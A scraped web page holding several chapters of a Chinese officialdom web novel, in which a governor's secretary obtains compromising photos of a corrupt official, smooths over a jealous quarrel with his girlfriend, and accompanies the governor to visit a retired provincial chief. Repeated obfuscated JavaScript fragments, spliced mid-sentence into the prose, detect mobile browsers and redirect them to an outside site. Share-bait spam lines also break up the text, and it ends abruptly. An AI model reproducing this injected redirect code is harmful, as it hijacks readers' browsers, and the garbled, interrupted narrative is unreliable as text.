在饭桌上,李承表现出一种对陈锋话题不在意的态度。 可他的心,始终是悬着的。 别人戏称陈锋为汉江地下交通站的站长,这个名头不是空穴来风。 陈锋的人脉很广泛,汉江**市政府到东江省委省政府,都有他的人脉网。 他能斩钉截铁的认定,孟良德会被调任回京,这件事至少有五成以上的概率。 孟良德走了,尽管孟良德临走前给他安排好了工作单位。 可没了省长的庇护,少了省政府‘二号**’的头衔,李承的级别不够看。 别人不说,就是赵金福如果没倒台的情况下,想搞李承这个副处级干部,也只是一句话的事。 赵金福这位厅局级干部的一句话,就能让李承没有翻身之地! ‘咯吱’ 李承思索时,房门打开,许梦下班回到了家。 她看到李承专注地坐在沙发上,脱下鞋子小跑过去:“怎么了宝宝?又有什么心事呀?” “没什么,在想工作上的事情。” 李承看到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17138632|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许梦,心情稍微开朗了些。 “哦,又是不方便跟我讲的呗。”许梦抱住李承的胳膊,将头依偎在她的肩膀上。 在她眼里,李承哪点都好,就是工作不好。 涉及保密的事情太多。 而她本人,又是一个好奇心重的人,李承有心事不说,她会觉得浑身不自在。 “如果有一天,我离开了秘书这个岗位,被调到了一个没实权没发展的清闲岗位。 可能一辈子就止步副处级,你会怎么想?” 李承掐灭香烟,看着许梦的侧脸,问。 他要做好最坏的打算。 “我不会怎么想呀,我看 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 中的是你这个人,又不是你的权力,只要是你,有没有钱,有没有权,对我来说都不重要。” 许梦满不在意的说。 最开始她接近李承,是因为李承的职位。 目的呢,是想从李承这里得到些消息,方便她的工作。 但工作和爱情是两码事。 许梦的爱很纯粹,她因工作与李承有了交集,爱的却是李承这个人,而不是他的权。 刚刚她说的那些话,也是她的肺腑之言。 “嗯。” 李承伸手将许梦搂在怀里,这一刻,他觉得身边有许梦陪着,十分的安心和踏实。 “放心,不管怎么样,都有我陪着你呢。”许梦在李承的脸上轻吻了一口。 ‘我的爱如潮水,爱如潮水将我向你推.’ 这时,李承的手机响了起来。 许梦拿起茶几上的手机,递给了李承。 这是一个陌生号码。 “喂,你好,哪位?”接通电话,李承有些疲惫地说。 “李秘书,我是陈东的妻子,顾澜。”电话那边传来一道虚弱麻木的声音。 “怎么了?”李承坐直了身体,问。 “我想见你一面,给你看一些东西。”顾澜说。 那天她拒绝李承,是在悲伤下的冲动举动。 回去后,她每天惶惶不安都在想这些事,她想揪出幕后凶手,这才给李承打了电话。 第233章 成熟少妇 “好,你在哪,我去找你。 李承没有犹豫,直接答应了下来。 顾澜如果有证据可以拉赵金福下水,那么,整体的案件进展,都将提速。 赵金福不仅可能涉及陈东案,还涉及到赵金虎的雄黄矿案。 这个人,与花海集团和雷二利的关系过于紧密,如果能够撬开他的嘴,这一连串的案件,都将有突破性的进展。 “我在西苑国际,到了给我打电话。 “我要出去一趟,你早点休息,不用等我。 李承站起身,拿起自己的外套。 “什么事情,这么急? 许梦有些不舍,她和李承的工作时间本就存在时差,只有睡前这一会儿的相处时间。 可她刚到家,李承却要走。 “陈东老婆手里应该还有证据,我去见一面。 李承穿好外套,张开怀抱,将许梦搂在怀里:“不会太久。 “你喝酒了,我送你去。许梦说。 “不用,你也累了,在家好好休息。李承婉拒道。 李承不可能带着女朋友去见顾澜,如果让许梦送,她只能在车里等。 外面天气冷,又这么晚了,李承也不放心她一个人在车里。 “那好吧,你早点回来。 许梦轻轻在李承脸颊吻了一口,依依不舍地告别。 出了门,走到小区门口,刚好有一台出租车送完客人。 李承上了车,说:“去西苑国际。 半个小时后,汽车抵达了西苑国际,李承付过车费,拨通了顾澜的号码。 按照顾澜给的具体地址,李承抵达了她的家门口。 ‘咚咚咚’ 房门敲响,短短几秒后,门开了。 李承走进客厅,看到了顾澜。 她只穿了一件单薄的紫色睡裙,胸口的雪白暴露大半。 双颊红润,裸露在睡裙外的肌肤,白里透红。 长发披在肩膀上,眉眼间带着抹醉意朦胧。 成熟少妇这个词,完全是为顾澜量身定做。 “进来吧。 顾澜拿了双男士拖鞋放在李承面前,说话时,口腔里散发着红酒的香气。 “嗯。 李承应了一声,换上拖鞋。 房子很大,单是一个客厅,起码都有上百平的面积。 是那种极简风的装修,装得很有品味。 李承跟着 你的朋友正在书荒,快去帮帮他吧 顾澜,来到了客厅沙发处坐下。 茶几上,摆放着三瓶红酒,两瓶已经见了底,第三瓶刚打开。 “陪我喝一杯吧。” 顾澜拿过一个空杯,倒了一些红酒进去。 李承接过波尔多的酒杯,跟她轻碰一下。 ‘咚’ 水晶杯的碰撞,发出一道沉闷如古钟的声响,回荡在两人耳边,久久不散。 一个刚死掉丈夫的女人,这个时候最需要安慰和陪伴。 如果上来就聊工作,反而难开展工作。 陪伴一会儿,循序渐进地谈,才更有效果。 李承没有讲话,一直陪着她。 两个人谁也没开口,喝了十几分钟后,顾澜才率先开口:“你知道吗?其实陈东挺不是个东西的。 结婚这些年,他在外面**,输了几百万,都是我赚钱给他还的。 不赌之后,又出轨一个卖保险的小姑娘,被我捉奸在床,要不是孩子小,我早就跟他离婚了。 我其实恨不得他早点死可是他**,我心里怎么还是会难受.” 顾澜向李承倾诉着她的委屈。 人都是有感情的,她与陈东能够相爱结婚,生下孩子,是有一段美好的感情经历。 婚后,陈东让她伤透了心,可毕竟人**。 没有几个人会去记恨一个**,只会想着对方生前的好。 “都会过去的。” 李承轻声说,并没有太多的安慰。 这种时候,安慰是乏力的,安慰远远不及陪伴。 “他是给我弟弟办事才出了事,我心里挺愧疚的,他其实人不坏,对于我家里面的事情,从来都是冲在第一位.” 顾澜摇晃着酒杯,看着酒液在杯中旋转,她说:“所以呀,他的事情我不能不管,我得让他死得瞑目。” 说完,顾澜迷离的目光环视一圈,指了指自己的包:“李秘书,你帮我拿一下。” 李承顺手将包递给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17138633|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了顾澜。 顾澜接过包,微微晃了晃脑袋,想要甩开上头的醉意。 “李秘书,这些东西不全,你看看能不能帮到你。”顾澜从包中拿出一个信封,递向李承。 “好。” 李承刚接过照片,顾澜身体一个不稳,就朝着她的方向倒了过来。 紫色睡裙的领口位置,在她前扑动作下,被放至最大。 里面的风光,一览无余。 “小心。” 李承也顾不得那么多,连忙伸手将 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 她扶住:“你喝多了。” “我没喝多,就是有点困了。” 顾澜做了一个吞咽的动作,她伸手扶着茶几,再次拿起酒杯。 “别喝了。”李承劝道。 “我真没喝多李秘书,你看看里面的东西,有没有用,能不能让那个死男人瞑目。” 顾澜仰起下巴,灌了一口红酒。 李承和顾澜不是朋友,对方执意要喝,李承也不再奉劝。 他伸手拆开信封,里面是几张照片。 “这些照片,你哪来的?”李承问。 “**拍的,为了这些照片,我花了十五万,还有更劲爆的呢,不过都被抢走了。 侦探那边也没留底片,说是行业规则。” 顾澜半个身子趴在茶几上,眼神迷离地望着李承,解释道。 “嗯,这些照片我拿走了,对于这个案件,你还有什么要补充的吗?”李承问。 “没了。”顾澜微微摇头。 “嗯,那你也早点休息,别再喝了。” 拿到了自己想要的东西,李承也不准备继续逗留。 许梦还在家里等他,他不想因为陪一个素不相识的人,耽误自己爱人的时间。 “唉男人得到了就想走,都是一样的男人都是王八蛋!” 看着李承准备告辞离开,顾澜摆了摆手,嘴角泛起一抹冷笑。 这话听在李承耳朵里,感觉有些被冒犯到。 李承不会跟一个喝醉的人计较。 “时间不早了,我回去了,后续有什么问题,希望你.” “呕” 第234章 吐了一身 “呕” 正当李承准备告辞离开时,顾澜忍不住胃中翻滚的呕意,吐了出来。 自从陈东死后,她抑郁到没怎么吃过东西。 吐出来的,全部都是红酒。 在白色茶几的衬托下,像是吐了一滩血。 李承拽了几张纸巾,递给了顾澜。 本想伸手拍了拍她的背,可想着两个人并没什么关系,便忍住了手。 “你不用管我,你不是要走吗?你走吧,反正也没人要我了呜呜” 她哽咽着哭了起来,时不时还有红酒从口中呕出。 李承没有离开。 最基本的责任心告诉他,至少要安顿好这个悲惨女人,再离开。 “我扶你进屋休息。” 等到顾澜吐完,李承伸手拉起她的一只胳膊,准备搀扶她回屋。 顾澜这次也没拒绝,配合着李承站起身。 她的身体很软,两条腿像是没有了力气,整个人靠在了李承的身上,双手也本能地搭在李承肩膀上。 “呕” 可就在顾澜刚站稳时,她再次呕了起来。 这一回,她胃中反出来的红酒,全部都吐在了李承的衣服上。 这一刻。 李承有一种躲避远离的冲动,可顾澜的身体就像没骨头似的,如果李承躲开,她就会摔在地上。 于是乎,李承只要将头偏到一旁,强忍着。 “不好意思.” 顾澜吐完,冲着李承妩媚一笑,身体趴在了李承身上。 无奈之下,李承只好一手扶着她的腰,一手架着她的手臂,将她送回屋内。 在顾澜仰倒在床上时,她的手臂仍紧紧抱着李承。 惯性下,李承重心不稳,整个人直接趴在了顾澜的身上。 李承可以清晰感受到对方柔软,以及肌肤的滚烫. “留下来陪我好吗?我一个人很怕.” 顾澜迷离的眼神望着李承,在那双美眸中,充满了魅惑力。 她双臂抱着李承的脖颈,两人鼻尖距离不足十公分,顾澜微微抬起头,红润的唇,带着浓郁的酒气,就朝着李承吻了过去。 李承见状,连忙挣脱起身:“你喝多了,好好休息。” 丢下这句话,李承没有逗留,逃离了这里。 出了门,李承看了一眼身上被顾澜吐的痕迹,不禁干呕一声:‘呕’ 虽说,除了酒味之外,没有其他的味道。 但李承心里有一些洁癖,对 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 于呕吐物,极度的反感。 回想刚才的场景,李承腹诽一句:‘刚吐完就想接吻,醉酒的女人真可怕.’ “老公,你回来了. 许梦一直在等李承,听到房门有声音,她里面跑过来迎接。 可看到李承一身的酒污,整个人愣了一下:“你身上怎么弄的? “别提了。 李承皱着眉头,这一路上他都是强忍着恶心。 到家后,他立马脱下全身衣物,准备去洗个澡,再把衣服洗一下。 “你是又去喝酒了吗?许梦表情变得严肃。 李承说是去忙工作,可却弄了一身的酒回来。 并且,她在李承的身上,还敏锐嗅到了女人的香气,这难免让她怀疑。 “是陈东老婆吐的,她**丈夫,一个人喝了很多的酒,我扶她进屋,她酒吐了我一身,唉. 李承长叹一口气,向许梦解释原因。 “她喝多了,你为什么要扶她?许梦皱着眉,问。 “那我总不能看她摔倒吧,我是公职人员,总不能那么冷漠。李承辩解道。 这种事情很难解释得清。 “哦。 闻言,许梦沉着脸应了一声,很不高兴:“你去洗吧,我睡了。 说完,她走进卧室,直接关上了门。 李承手搓了一下污渍的地方后,将衣服丢进洗衣机,自己也去洗了一个澡。 忙完这些后,他准备进入房间,发现门从里面被反锁住了。 ‘咚咚咚’ “宝宝,我也是为了工作呀,你给我开门呗。 李承敲了敲房门,解释着。 可里面并没有回应。 “我最漂亮的媳妇儿,你说,她喝了那么多酒,差点摔倒了,我也不能冷眼旁观对不对?李承继续解释。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17138634|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >换位思考一下,他能理解许梦的生气。 毕竟是深夜,孤男寡女两个人,对方还喝醉了酒,难免会多想。 “你晚上睡小屋吧。许梦冷冷的回道。 “行! 李承说完,便离开了房门口。 许梦只是想让李承哄哄她,她是相信李承的。 她原本打算,让李承再哄她一会儿,她再给李承开门。 可李承直接不哄了,这让许梦更加气愤。 正当她生闷气时,李承拿着房间的备用钥匙,直接打开了门。 “宝贝,我都没穿衣服,好冷呀。 听说看这本书的人都是很幸运的,分享后你的运气会更棒 李承厚着脸皮,直接钻进了被窝里,从后面搂住许梦,感受她身上的温度。 许梦背对着李承,嘴角却微微上翘了一点,语气还是严肃的:“别碰我,你那么热心肠,倒是留在她家里照顾她呀。” “我这是为了工作,宝宝,我有你这么漂亮的老婆,怎么可能还会想别人呢,而且还是一个刚刚丧偶的女人。” 李承拽着许梦的手臂,强行将她转过了过来,面对面的抱在怀里。 四目相对,许梦撅着小嘴,又把头偏到一边。 李承知道,这种时候解释是没用的,就要用更激烈的进攻方式。 他一只手掐住许梦的下巴,强行吻了上去。 最开始许梦还会反抗一下,渐渐地.她开始接受李承的热吻。 一阵翻云覆雨后,李承发泄掉身上的全部力气。 他看着面色绯红,满脸娇羞地许梦,问:“还生气吗?” “嗯,量倒是挺多,看来你没背着我偷偷做坏事。”许梦看到李承如此卖力,气已经消了。 “这点你放心,我不可能做让你伤心的事情,再说,别人哪有你漂亮呀。”李承油嘴滑舌地说。 “哼,家花再好,也没有野花香。”许梦轻哼一声。 “这次去还是很有收获的,我拿到了一些证据。”李承用证据作为证明,告诉许梦,他的确是去工作。 “我能看看吗?”许梦问。 “可以。” 这些照片是要交上去的,不需要保密。 第235章 成立小组 “这些照片里,还有你的熟人呢。 李承将信封交到许梦的手里,说。 许梦拆开信封,看着里面的照片,不禁感慨:“这么劲爆呀,黄莉莉还是放得开。 这些照片都与赵金福有关。 其中有他**收礼的,还有他跟黄莉莉在车上的照片。 因为车窗侧边玻璃有防窥,照片是从汽车正面风挡玻璃拍摄的。 座椅遮挡了一部分,但可以确定,车内赵金福正坐在后排,跟一个赤裸女人在做运动. 赵金福正脸拍得很清楚,女人只拍到了侧脸的二分之一。 但见过这个女人都知道,这就是曾经省电视台《晚间新闻》的主播,黄莉莉。 “还有更劲爆的,只是被销毁了。李承说。 怪不得他们要**灭口,单单是‘幸存’的这几张照片,都足够赵金福喝一壶了。 如果那些照片都送到了孟良德面前,赵金福**,入狱就是板上钉钉的事。 “我有点好奇,被销毁的那些照片,都是什么样的。 这种八卦新闻,许梦最喜欢,很大程度地满足了她的好奇心。 “这回可以相信我是去工作了吧。 “嗯,确定了。 许梦把照片塞回信封中,伸手从床边关闭了灯:“睡觉吧,抱着我。 次日,早上。 李承等到孟良德吃完早餐,将信封拿了出来:“老板,我昨晚收到了一封举报材料,是关于汉江检察院党组**赵金福的。 您看一下。 孟良德接过信封,打开大概地看了一遍,眼神冷了几分。 “这是谁送来的?孟良德问。 “是陈东的妻子顾澜,上周六****案的受害者家属,当晚他们丢失的资料,就跟信封中的照片有关。 据她说,那些照片要比这几张问题严重很多。 李承将情况如实汇报给孟良德,并添油加醋地说:“据我的了解,赵金福与花海集团关系密切。 顾澜的弟弟,就是在赵金福同志的干涉下,在一起人命案中,从一个参与者被推到了主犯。 既是孟良德要离开东江,回京城任职。 李承也要尽最大可能,把赵金福扳倒。 他们直接的结怨很深,赵金福还曾以司法权威胁过李承。 李承知道,那是个睚眦必报的家伙,如果他不倒,等孟良德离开东江 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 自己一定会被他报复。 “嗯。” 孟良德微微点头没有多言。 但从他犀利的眼神中李承看到了杀意。 上午十点半。 省纪委**李岳明和省**厅长鲁林先后赶到省长办公室。 他们是受孟良德邀约谈一谈赵金福的问题。 李承给几人沏好茶水也没有离开留在这里做工作记录。 “在谈话之前你们二位先看看这个。”孟良德将照片递给李岳明。 李岳明接过照片看过后又递到了鲁林手里。 “这位同志想必你们二位也都认识吧?”孟良德点燃一根香烟看向二人。 “赵金福是我们纪委高度关注的对象我们也接到过不少关于他的举报但一直没有查到实质性的证据。 没想到孟省长先我们一步。” 李岳明端起茶抿了一口。 他的说辞只是一番官话。 顾澜雇**都能查到的问题他们纪委会查不到吗? 说到底还是纪委从未把工作重心放在过赵金福的问题上。 赵金福敢做这些事情这么久没被查出问题他背后是有保护伞的。 市纪委没有查出赵金福的问题李岳明对此也就睁一只眼闭一只眼做起了老好人。 但这次孟良德已经拿出了实质性的证据来他也就不得不重视起来。 “岳明同志我觉得市纪委的内部班子也要加强一下这些东西是人家受害者家属自己拍的。” 孟良德言外之意就是他们纪委这些专业人士不如一个普通老百姓。 这话带着些斥责的味道。 正常情况 但这次他是真在气头上。 他把张军差点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17138635|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 引爆煤气罐险些造成严重的社会影响问题一起算在了赵金福头上。 同样孟良德话里也留了余地他特意指明是市纪委而非省纪委。 “嗯这次我们省纪委会成立专案小组查处赵金福的问题。”李岳明表明态度。 “赵金福涉及的问题不止是纪律问题还可能涉及刑事问题。” 孟良德谈了谈烟灰看向鲁林:“鲁林同志你们省**厅要和省纪委的同志打好配合最好是能够成立一个共同专案小组。 赵金福的问题很严重甚至可能与黑恶势力有关。” “好的孟省长。”鲁林点头答应。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 “前段时间闹出来的非法开采雄黄矿事件,也与赵金福脱不了关系,这些问题,都要纳入侦察方向中。 务必要将赵金福及其党羽全部涉案,查个清清楚楚!” 孟良德态度严肃。 所有人都看得出来,这次孟良德动了真格。 李承也非常确定,这一次,赵金福就算是手眼通天,他也在劫难逃。 在聊完赵金福的问题后,鲁林和李岳明准备告辞离开。 “岳明同志,有件事我想单独再跟你聊一下。”孟良德叫住李岳明,说。 “嗯,好。” 李岳明刚抬起来的屁股,又坐回沙发上。 李承知道,两位领导要单独谈话,自己在场不合适。 给他们的杯中再次续上了茶水,李承跟在鲁林的身后,出了省长办公室。 坐在办公椅上,李承拿出手机看了一眼。 上面有一条信息,是顾澜发来的。 【李秘书,昨晚的事情太不好意思了,弄脏了你的衣服,我给你买了一套新的,什么时候方便,我给你送过去。】 【不用,衣服洗干净了。】李承回复。 【衣服已经买好了,你就别推脱了,你要是不收,我就给你送到省政府的门卫寄存。】 顾澜态度坚定。 早上睡醒后,她回忆起昨晚发生的事情,满心的惭愧,特意去买了一套品牌服装。 第236章 裴老 【那等我下班联系你吧。】 李承想了想,没再拒绝。 红酒是有色素成分的,染在衣服上,的确是洗不掉。 但对此,李承也不在意,他从没想过要顾澜的赔偿。 他希望顾澜能去退掉。 可是,顾澜的态度很坚定,还提到了送到省政府门卫。 如果她说是给李承的衣服,门卫一定会帮忙寄存,可这事传出去,对李承的影响不好。 李承身正不怕影子歪,但怕有心人拿这种事做文章。 【我等你电话。】顾澜回复。 李承没再回她,打开了微信。 许梦一家人,在陈锋安排下,去了山水湖旅游景区游玩。 那里的景色不错,还有很多珍惜野生动物。 许梦给李承发来了很多照片。 李承回复她时,杨兆华从门外走了进来。 李承收起手机,笑着跟他打了个招呼:“秘书长。 “嗯,忙着呢。 杨兆华看到李承在发消息,故意打趣李承。 “呵呵. 李承笑了笑,说:“您找孟省长吗?他在里面见客人。 “我不找他,就跟你聊聊。 杨兆华坐到了沙发上。 李承也起身走到他的对面坐下,问:“什么事? “你们综合一处处长的位置,自张俊调任后,一直都是空缺着。 你的工作重心在孟省长这边,也没有太多精力去管理综合一处,党组决定由陈墨同志担任处长一职,帮你分担一下工作。 杨兆华将情况告知给李承。 听到这个消息,李承表情不变,但心情却沉闷了下来:“是呀,我的精力确实不够用,一直也都是陈墨在主持工作,他很合适。 陈墨是综合一处的副处长,也是最有资历升任综合一处处长的人。 正常来讲,张俊离开后,他有很大概率顺位。 但因为李承是省长秘书,孟良德也有重点提拔他的意思,便由李承代任。 这几个月,都是李承在代任,突然提拔了一个处长上来,还是在传言孟良德要调任的关头,不免让李承多想。 “嗯,你也不要多想,组织对你的工作很认可。杨兆华安慰道。 “秘书长,陈墨的工作能力可以,但他之前跟张俊和秦海.李承压低声音,说出自己的担忧。 他觉得,陈墨是秦海的人。 虽然秦海**,他的余党也 你的朋友正在书荒,快去帮帮他吧 被打散,可陈墨毕竟是存在历史立场问题的。 “以前的问题,我们不去做谈,他听从领导的话,这一点没有错。杨兆华道。 从他的语气里,李承听得出来,这个陈墨是他的人。 综合处这些人事任命问题,由党组负责。 党组和组织部是两码事,二者的性质,定位和权力责任完全不同,却在干部任免中各司其职。 省办公厅的党组**,就是秘书长杨兆华。 他上任后,也对办公厅进行了一次清洗,党组成员里,绝大部分都是他的人。 他的决定,就能代表党组进行办公厅内的**。 “嗯,我会配合陈墨处长的工作。李承说。 这话里,仍然是存在这一些不满情绪在。 “不是你配合他,整个综合一处,都要配合你工作。杨兆华看出李承有情绪,笑呵呵地说。 ‘咯吱’ 正在此时,省长办公室的门开了。 李岳明从中走了出来,见状,杨兆华起身招呼:“李**。 “嗯,兆华同志也在呀。 “跟李秘书聊聊工作。 “那你们聊。 李岳明象征性地跟杨兆华寒暄一句,便离开了。 晚上下班。 李承送孟良德回到迎宾馆后,孟良德向王师傅交代:“王师傅,你今晚加个班。 “好的省长。王师傅答应。 孟良德没有叫司机离开,这证明晚上还有工作安排。 李承下车,给孟良德开车门,跟随他一同进入了迎宾馆内部。 省长还有其他安排,又没有让李承离开,就证明接下来还有他的事情。 “娇娇,你去把我那盒上等铁观音来了,我从京城带回来那盒。进入客厅,孟良德吩咐。 “嗯,好的。 保姆娇娇细声细语地应了一声,快步去到书房,将一个包装精品的茶叶拿了过来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17138636|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 递给李承。 李承接过茶叶,跟着孟良德又回到车内。 “去落英山干部修养所。孟良德对司机吩咐。 “好。 王师傅在得到位置后,驾驶车辆离开迎宾馆。 四十分钟后,东江省的二号专车抵达了落英山干部休养所。 落英山干部休养所是省级干部修养所,能住在这里的,都是退休的省部级干部。 位置在城东区落英山脚下。 这里环境优美,空气新鲜,静谧 听说看这本书的人都是很幸运的,分享后你的运气会更棒 却又不偏僻,都是独门独院的小别墅。 “李秘书,裴老**对于茶道钻研很深,今天你可要好好表现。”孟良德边走边叮嘱。 “嗯,我把看家的本领都用出来。”李承笑着说。 现在是下班时间,谈论的又不是工作问题,李承可以适当的玩笑一下。 孟良德拜访裴国弘,本不应该带秘书来。 他能带李承过来,就是看中了李承泡茶的手艺,也算对裴国弘投其所好。 “呵呵.这么看,你跟我还藏了一手。” 孟良德呵呵一笑,按响了裴老**家的门铃。 ‘叮咚.’ 门铃响后一分钟,一个中年妇女才走了出来。 “是孟省长来了呀,快请进。” 孟良德不是第一次来,保姆认识她:“裴**在等您吃饭呢。” “刘姐。”孟良德跟保姆也笑着打了个招呼。 在来之前,孟良德给裴国弘打过电话,提起今天要拜访的事情。 裴国弘特意吩咐保姆做了一桌子饭菜,等待孟良德。 “裴老。” 走进别墅客厅,一位老者正坐在沙发上看书,孟良德跟他打了个招呼。 老者个子不高,身材瘦弱,可他坐在那里,却人一种不怒自威的感觉。 这位,就是曾经东江省的一把手,裴国弘。 即便他已经退休,他在东江省的影响力,依旧不逊色马洪波,孟良德这种掌权者。 “良德来了,还带了个小朋友呀。” 裴国弘放下书,看到站在孟良德身后的李承,脸上带着笑意。 第237章 许诗悦 “这位是我的秘书,这次来,他不是以秘书身份过来的,别看他年纪轻,泡茶的手艺很不错,家里就是做茶生意的。 我今天就想让裴老考验考验,看看他这个泡茶手艺,到底过不过关。 孟良德故意抬高了李承的茶艺,笑呵呵地对裴国弘说。 “裴**。 待到孟良德说完,李承拎着茶叶,冲他恭敬点头,问好。 他并没有提到孟良德送裴老送茶的事。 这是孟良德送的礼物,孟良德不说,李承也不能乱开口。 “别喊我**了,早就退休啦,现在就是糟老头子。 裴国弘从沙发上站起身,冲两人说:“东西放下,先吃饭。 饭桌上,算上孟良德和李承,一共有五个人。 裴国弘夫妇,以及保姆刘姐。 在家里来客人时,保姆还能上桌吃饭,这证明刘姐在裴国弘家里的地位已经跟亲人差不多。 因为有保姆在,全程李承也就没有参与到服务中。 静静吃着饭,关于孟良德和裴国弘夫妇的聊天,也从不插嘴。 问到了,就礼貌地回一句。 “姥爷,姥,你们猜我今天钓了多大一条鱼回来? 几个人吃饭时,一道悦耳的声音,从门口由远及近。 李承目光闻声看去。 这是一个二十五六岁的女人,一米六五左右的个子,身材很好,一看就是常年健身。 长相属于那种清纯可人型,五官很端正,虽没有许梦那么精致,却给人一种更亲和的感觉。 是个漂亮姑娘。 “家里有客人呀。 女人在看到孟良德和李承后,笑容尴尬了几分。 “裴老,这就是您的外孙女吧,长得跟她妈妈一模一样,漂亮。 孟良德看着女人,面容温和:“我记得没错的话,你叫许诗悦对吧? “对。许诗悦点头。 “这是我家的小祖宗。 裴老宠溺的看着许诗悦,跟她介绍道:“这位是孟良德,咱们东江省的省长。 “孟爷爷好。 许诗悦甜甜一笑,跟孟良德打招呼。 “叫孟叔吧,各论各的,叫爷爷太不适应了。孟良德被这个称呼逗笑了,说。 按照辈分,孟良德是裴国弘的朋友,应该叫他一声爷爷。 可这个称呼,不论怎么听,孟良德都觉得别扭。 “好的,孟叔。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 她从小就在这些官员圈子里长大,比省部级大的官她都见过,自然也不会怯场。 “悦悦,你没吃饭呢吧,去洗手吃饭,今天刘姐给你做了你爱吃的油焖虾。”裴夫人催促道。 “嗯,好的好的。” 吃过饭,裴国弘带着孟良德和李承来到二楼的小露台。 这里是他种植花花草草的地方,也是他喝茶的地方。 “今天就尝尝良德你带来的茶。”裴国弘说。 “行,小李,你去取一下。”孟良德看向李承,吩咐道。 “好。” 李承点头,折返下了楼。 他刚拎起茶,准备上楼时,许诗悦挡在了他面前:“你叫李承对不对?” “你认识我?”李承纳闷。 在今天之前,他从没见过许诗悦,这一点,李承可以肯定。 如果见过,李承一定会有印象。 “我在追《东江问政》这个节目,不枯燥,有点像爽文小说,蛮有意思的。”许诗悦道。 “哦哦,感谢你的支持呗。” 李承从她的态度中,感觉这个姑娘很好接触,性格很好。 “有个事,我想跟你八卦一下。”许诗悦笑嘻嘻的看着李承。 “嗯,问吧。” “你跟许梦是不是情侣关系呀?”许诗悦八卦地问。 “是。”李承点头。 “我就知道!” 许诗悦摆出一副猜到了的样子:“你们这对CP,我觉得不错哦,希望你们可以一直在一起。” “谢谢。” 李承微笑点头,迈了半步出去,给对方一个肢体暗示。 “你先去忙。” 许诗悦也动分寸,立马会意,让开了路。 李承回到二楼露台,先烧了水后,开始拆封茶叶。 裴国弘的茶具很讲究,他用的不是茶壶,而是盖碗。 孟良德特意交代过,要好好展示一下泡茶技术,李承也决定今天把自己练习的‘花功夫’都展示出来。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17138637|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “小朋友,你们孟省长可给你的茶技夸下海口,让我也看看吧。”裴国弘看着李承,扬了扬下巴,说。 “什么茶技,我也看看。”这时,许诗悦也探出一个脑袋,很调皮。 她属于是那种大小姐,被家人保护得很好,身上不沾世俗气,保留着几分天真。 “功夫茶。”李承淡笑说。 “是不是短视频总能刷到的那种,一定要加入多多的boilingw 